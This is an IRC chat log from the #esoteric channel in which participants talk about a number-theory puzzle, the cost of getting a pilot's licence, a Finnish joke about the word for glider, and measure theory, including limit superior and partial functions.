#esoteric :that was MissPiggy's work, or at least she used that idea in her proof of a special case < 1267910563 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, is there any prize attached to this question? < 1267910565 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :she asked me whether 100 is a balloon, i couldn't solve it (should've) < 1267910570 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and did anyone else solve it? < 1267910584 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i wonder where you got the impression this is even a hard problem < 1267910606 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, well, otherwise you would just have consulted a text book to figure out how to prove it < 1267910609 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :rather than asking us < 1267910628 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i just wanted to ask that out loud because it sounded crazy. < 1267910677 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, oh? < 1267910678 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :easy enough to show they're closed under multiplication, but i wonder if it's possible to show they are closed under addition (that is, "can we prove all n are balloons by induction") < 1267910691 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, why are they called balloons btw? < 1267910749 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :usually when you say you're proving a property of naturals by induction, you mean P(n) => P(s(n)), but you can also do induction on multiplication, the problem is you have an infinite number of base cases.... < 1267910773 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i asked mp what the problem was about, and she said "it has applications in hot air ballooning" < 1267910774 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267910780 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i have no idea what that meant < 1267910784 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, it does? < 1267910787 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :so i named them balloons. < 1267910803 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :it would've been an in-joke for her, i wasn't actually going to start talking about this here. < 1267910819 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :"it does?"= < 1267910821 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :*? < 1267910829 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh err < 1267910831 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :right the problem < 1267910836 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :sorry about being slow < 1267910837 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, I fail to see how it is useful for building or flying heated air balloons < 1267910837 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267910865 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i have no idea what applications it has, if it has applications there, i just quoted, and followed with "i have no idea what that meant". < 1267910881 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :who cares what it's used for < 1267910882 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, and I'm somewhat of an aerodynamics geek. Though admittedly I'm more interested in non-LTA aircrafts < 1267910888 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267910888 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :cool < 1267910893 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :do you fly planes? < 1267910896 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(LTA = lighter than air) < 1267910902 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, only in simulator alas < 1267910914 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :flying a plane would be awesome < 1267910915 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, a flight certificate is frigging expensive < 1267910921 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :yeah prolly < 1267910925 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :how expensive? < 1267910926 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :much more than a driving license < 1267910941 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, well, depends on what type of aircraft < 1267910959 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, for a small sports plane, 90 000 SEK or so a year ago when I checked < 1267910994 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh well i wouldn't call that "frigging" expensive if you have a job < 1267910999 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, excluding fuel cost and so on < 1267911019 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :90 000 Swedish kronor = 9 293.20938 Euros < 1267911024 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :says google < 1267911026 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh well if you wanna fly a plane multiple times < 1267911032 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, hm? < 1267911034 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1267911038 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :yeah i know how much a sek is < 1267911060 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, oh you need to fly a minimum distance every year to not loose your certificate after you finally have it < 1267911071 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :forgot what said distance was < 1267911078 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :makes sense < 1267911099 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, they should do the same for driving licences < 1267911137 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh btw 2n-1 isn't just a random number, in fact all numbers have the property that there are 2n-2 numbers that don't have a subset summing to 0 mod n < 1267911145 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :which makes it sort of fascinating < 1267911188 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, thank you for reminding me why I took CS instead of math ;) < 1267911194 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1267911206 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :yeah, my friend has lost most of his sight after getting a driver's licence, and doesn't use glasses < 1267911221 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, "oops" < 1267911227 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :but is still allowed to drive < 1267911251 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, also bi-yearly eye check or such for driving licenses would be a good idea < 1267911256 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or maybe every 5 years or such < 1267911279 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :would have to find a reasonable interval to make it feasible yet actually be useful < 1267911368 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267911426 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :They have this student-association-thing for people interested in flying planes here; I think they have some sort of special dealie so that you can get the certification a bit cheaper, though not by much. < 1267911451 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :so... why did you take cs instead of math? < 1267911523 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i mean math is prettier < 1267911525 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Apparently "4700 - 6600 €" for the thing with a motor on it; and I think that includes fuel costs. (At least it says that fluctuation in fuel prices will affect that price.) < 1267911570 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wants unicode support in his client
< 1267911587 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what was that after "6600"? < 1267911603 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :FireFly[DS]: Probably the euro sign. < 1267911607 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1267911625 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :Showed up as å comma not-sign her.. < 1267911633 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :here* < 1267911637 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There's also a glider aircraft course for "1500 - 2200" eur, plus "miscellaneous costs (beer, sausages etc.)". < 1267911668 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Too bad the joke in the description doesn't really translate. < 1267911699 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :why can't the university of turku be in helsinki :< < 1267911716 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :you have such a cool university there < 1267911716 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : so... why did you take cs instead of math? <-- math people say thing like " oh btw 2n-1 isn't just a random number, in fact all numbers have the property that there are 2n-2 numbers that don't have a subset summing to 0 mod n which makes it sort of fascinating" < 1267911726 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :an interest which I don't share < 1267911741 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i would be near it < 1267911771 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Too bad the joke in the description doesn't really translate. <-- what is that joke? < 1267911780 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, it doesn't translate. :p < 1267911788 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I can try, of course. < 1267911793 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, you could explain it < 1267911828 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's not much of a joke, really. But, here goes. < 1267911835 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"Opintojakson tavoitteena on oppia lentämään laitteella, jossa ei ole purjetta, eikä myöskään konetta. Laitetta kutsutaan siitä huolimatta purjelentokoneeksi, sillä sen siipi toimii kuin purje." < 1267911837 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Translated, that says: "The goal of the course is to learn fly a device, that does not have a sail, and neither does it have an engine. The device is still called sail-air-engine [literal translation of the components of the Finnish word for sailplane/glider aircraft], as its wing works like a sail." < 1267911864 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267911896 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, combining sail and engine in one word is quite weird :) < 1267911923 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess sail-flight-engine would've been more literal. < 1267911941 0 :FireFly[DS]!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267911961 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The fi:lentokone (literally "flight-engine" or "flight-machine", but the joke works better with "-engine") is the general term for aircraft, they've just added fi:purje ("sail") in front. < 1267912003 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :fi:kone is quite a generic word; it can be en:engine, or en:machine, or en:device, or whatever. < 1267912034 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"kone s 1 engine, apparatus, appliance 2 contrivance 3 machine" says the dictionary. < 1267912046 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :finnish is so weird < 1267912053 0 :cal153!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1267912062 0 :cal153!~cal@c-69-181-46-213.hsd1.ca.comcast.net JOIN :#esoteric < 1267912070 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, indeed < 1267912080 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: well interesting is a bit of a technical term :P i say 2n-1 is interesting because 2n-2 isn't, there's a reason to choose just that particular number < 1267912090 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't actually mean this is interesting mathematics < 1267912107 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uhu < 1267912114 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, you said it was fascinating even < 1267912217 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh right. true, that's not a technical term, that just means i really think the problem is interesting < 1267912222 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :most because i've been working on it < 1267912225 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :*mostly < 1267912258 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, wait, is "interesting" actually a well defined rigorous mathematical term? < 1267912265 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267912274 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :no. < 1267912279 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267912304 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, I always found it funny that "almost all" is actually rigorously defined < 1267912331 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :ah yeah kinda like "group" is rigorously defined < 1267912341 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, oh? < 1267912351 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh you don't know what a group is < 1267912351 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, I can't see why "group" is funny < 1267912359 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Almost all integers between 1 and 1,000,000,000 are prime. < 1267912377 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, I have no idea if that is true or not < 1267912391 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: why would you use the lebesque measure on integers? < 1267912398 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, "almost all", applied to discrete things, means "all but finitely many", aye? < 1267912401 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :you wouldn't < 1267912433 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, that is true for composites too! < 1267912438 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :you would use cardinality as the measure, and it would not be true that almost all elements in that set are prime. < 1267912451 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What would you say "almost all" means in that context? < 1267912516 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :almost all x \in S have property P w.r.t. measure m always means m({x \in S | P(x)}) = 0 < 1267912519 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :eh < 1267912533 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :*almost all x \in S have property P w.r.t. measure m always means m({x \in S | not P(x)}) = 0 < 1267912567 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Wikipedia says that "almost all" sometimes means "all but finitely many". < 1267912570 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :if you leave the measure implicit with integers, it's cardinality, because the restriction of the lebesque measure is identically zero < 1267912633 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :okay so we'd be using a metric m s.t. m(S) = 0 iff S is finite < 1267912644 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :*measure < 1267912645 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :sorry < 1267912688 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i don't know such measures < 1267912700 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :(this is not exactly area) < 1267912712 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Are there any restrictions on what's a measure? < 1267912738 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If not, m(S) = 0 when S is finite, m(S) = 1 when S is infinite < 1267912749 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Maybe the disjoint union of finitely many sets must be the sum. < 1267912757 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :it has to be additive, if you have two sets with empty intersection, then their union's measure is the sum of their measures < 1267912757 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Modulo saying that right. < 1267912772 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :But it doesn't have to give a measure to every set, right? < 1267912786 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :m(S) = 0 when S is finite, m(S) is undefined otherwise. :P < 1267912793 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :no, in a measure space we have a subset of measurable sets, usually < 1267912827 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :yeah that works, that's probably called the trivial measure < 1267912827 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Better: m(S) is the limit as n approaches infinity of (the cardinality of the intersection of S with [-n..n])/(2n) < 1267912839 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :yeah i actually thought that might be a nice definition < 1267912842 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :make that lim sup < 1267912852 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i think that's additivie < 1267912855 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :*additive < 1267912865 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, I'm sure I could make it non-additive. < 1267912869 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh well i guess you could just say sets are measurable iff the limit exists < 1267912878 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :well it has to be additive < 1267912881 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :to be a measure < 1267912890 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I mean if it's lim sup, I'm sure I could find where it's not additive. < 1267912911 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :also the measure of the empty set needs to be 0, but that's all we require about a measure, i think < 1267912913 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267912916 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Take the set S of all integers n where sin(ln n) > 0, and its complement. < 1267912948 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :err < 1267912955 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :first of all what's that set? < 1267912967 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :okay somethign random < 1267912969 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :*something < 1267912974 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Er, make that sin(ln |n|). < 1267912983 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :yeah okay you're right < 1267912986 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :needs to be lim < 1267913003 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You've figured out what that set is? < 1267913004 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :or wait... blergh < 1267913012 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :maybe tell me why that's a counterexample < 1267913022 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, do you know what that set looks like? < 1267913029 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267913039 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Graph sin(ln n); it's the set of all integers that are below it. < 1267913059 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :sin(ln |n|), even. < 1267913122 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A mental graph will probably work better than an actual one. :P < 1267913140 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's a set where if you zoom out, it still looks pretty much the same. < 1267913153 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : i think that's additivie <-- read that as "addictive" first time XD < 1267913181 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION uses Wolfram Alpha
< 1267913184 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So the thing you're taking the limit of fluctuates between some number and some other number. < 1267913208 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What isi it supposed to be? < 1267913236 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :ah true < 1267913256 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The complement of the set will likewise fluctuate, but out of phase; add the two, and you get something that is less than the sum of its parts. < 1267913262 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :yeah i realized lim sup might not work because of that, i now realize why sin ln works < 1267913270 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267913282 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: it's supposed to be what it is, and it is pretty much what it looks like. < 1267913304 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It looks like female..>.> < 1267913313 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And it looks like this: http://en.wikipedia.org/wiki/File:Topologist%27s_sine_curve.svg < 1267913759 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Graph sin(ln n); <-- was that supposed to be CAS code for some CAS? < 1267913779 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1267913783 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267913794 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Though I wouldn't be surprised if it were valid CAS code for some CAS. < 1267913826 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, why is sin(ln x) interesting? < 1267913831 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :it's valid wolframalpha code < 1267913843 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, it isn't valid mathematica code I know < 1267913858 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION plots the function on his calculator
< 1267913867 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :because it's a nice way to explain why lim sup is not a good measure < 1267913875 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :*-good < 1267913883 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: because it's involved in a counterexample to oklokok's claim that using the limit superior in a certain place results in a measure. < 1267913886 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :who said anything about mathematica < 1267913893 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, oh < 1267913908 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, how does "limit superior" differ from "limit"? < 1267913911 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :it would make all sets measurable < 1267913918 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, well iirc w|a is based on that syntax? < 1267913926 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :but it clearly isn't a measure < 1267913950 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What's a measure? < 1267913951 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the limit superior of sin(x) as x approaches infinity is 1. < 1267913976 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, oh. < 1267913986 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: essentially, it's the highest value that a function exceeds repeatedly forever. < 1267913987 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, how is limit superior defined then? < 1267914012 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION needs a tutorial for math :/
< 1267914026 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, what about limsup y=x x→+inf ? < 1267914034 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :the lim sup of a sequence of numbers is the lim of sups of {xi | i = n,n+1,...} as n goes to infinity < 1267914039 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :same as normal limit? < 1267914050 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I would say that that is positive infinity. < 1267914061 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, same as normal limit then < 1267914066 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yep. < 1267914066 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1267914089 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :for sin you'd take the limit as x goes to infinity of the sups of the sets {sin(y) | y >= x} < 1267914090 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :This is bound to have some definitions: http://en.wikipedia.org/wiki/Limit_superior < 1267914123 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, and this sin log thing? < 1267914134 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what is it's limit superior? < 1267914147 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :it's obviously 1 < 1267914154 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the normal limit I *suspect* would approach 0 < 1267914160 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i mean on reals < 1267914173 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :it's not obvious that it's 1 on integers < 1267914216 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: there's no normal limit for it < 1267914216 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The normal limit exists iff the limit superior equals the limit inferior. < 1267914219 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, are there cases where limsup is not defined? < 1267914236 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, hm. for sin(x) there indeed isn't < 1267914249 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The limit superior as something approaches infinity is always defined, as long as the function is defined everywhere. < 1267914250 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but hm < 1267914267 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :okay i was gonna say earlier that lim sup and lim inf always exist on reals and lim exists iff lim sup = lim inf, but thought AnMaster wouldn't be interested < 1267914284 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, ah < 1267914286 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :interesting! < 1267914297 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Heck, if the function isn't defined everywhere, you might say that the limit superior is negative infinity. I don't really know. < 1267914320 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267914321 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh well right they always exist in the extended reals < 1267914335 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, you mean the function must all be completely defined then? < 1267914342 0 :coppro!unknown@unknown.invalid QUIT :Quit: I'd love to discuss this, but matters press. Onwards! < 1267914344 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :all functions are completely defined < 1267914345 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or at least, it might not work if it isn't < 1267914358 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, what is limsup tan(x) x->+inf? < 1267914393 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :tan is a partial function < 1267914403 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, you mean it isn < 1267914410 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :isn't* well defined everywhere < 1267914416 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :? < 1267914427 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :but if we skip the parts where it's not defined, then still arbitrarily far away you can find arbitrarily big values < 1267914431 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :so lim sup = infinity < 1267914455 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The Warrigal function isn't completely defined! < 1267914470 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that's not what well-defined means, tan just isn't defined there. < 1267914486 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, you just said " all functions are completely defined" < 1267914517 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which isn't actually correct it seems, at least not with the definition of function that I heard < 1267914521 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :well-defined is when we have a definition, but it's wrong, tan's domain is just not the whole R < 1267914523 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like ln(x) is not defined for x<0 < 1267914536 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :just like it isn't defined if x is an apple < 1267914537 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, well I was confused by that line " all functions are completely defined" < 1267914540 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!! < 1267914560 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :every function is completely defined *on its domain* < 1267914567 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :otherwise it's a partial function. < 1267914605 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :sometimes we call these functions too, and just say "oh it's actually not defined here", i just don't happen to like that < 1267914629 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, to me "function" includes both partial ones and normal ones < 1267914631 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if that is wrong < 1267914636 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then what is a word for both < 1267914646 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it has to be pretty concise < 1267914656 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :"uorygl: Heck, if the function is ..." <<< obviously you'd define the lim sup of a partial function as the lim sup of the function's restriction on the part of its domain where it's defined. < 1267914656 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"functions and partial functions" is not an acceptable answer < 1267914685 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Call it an MPF, for maybe-partial function. :P < 1267914694 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, that's silly < 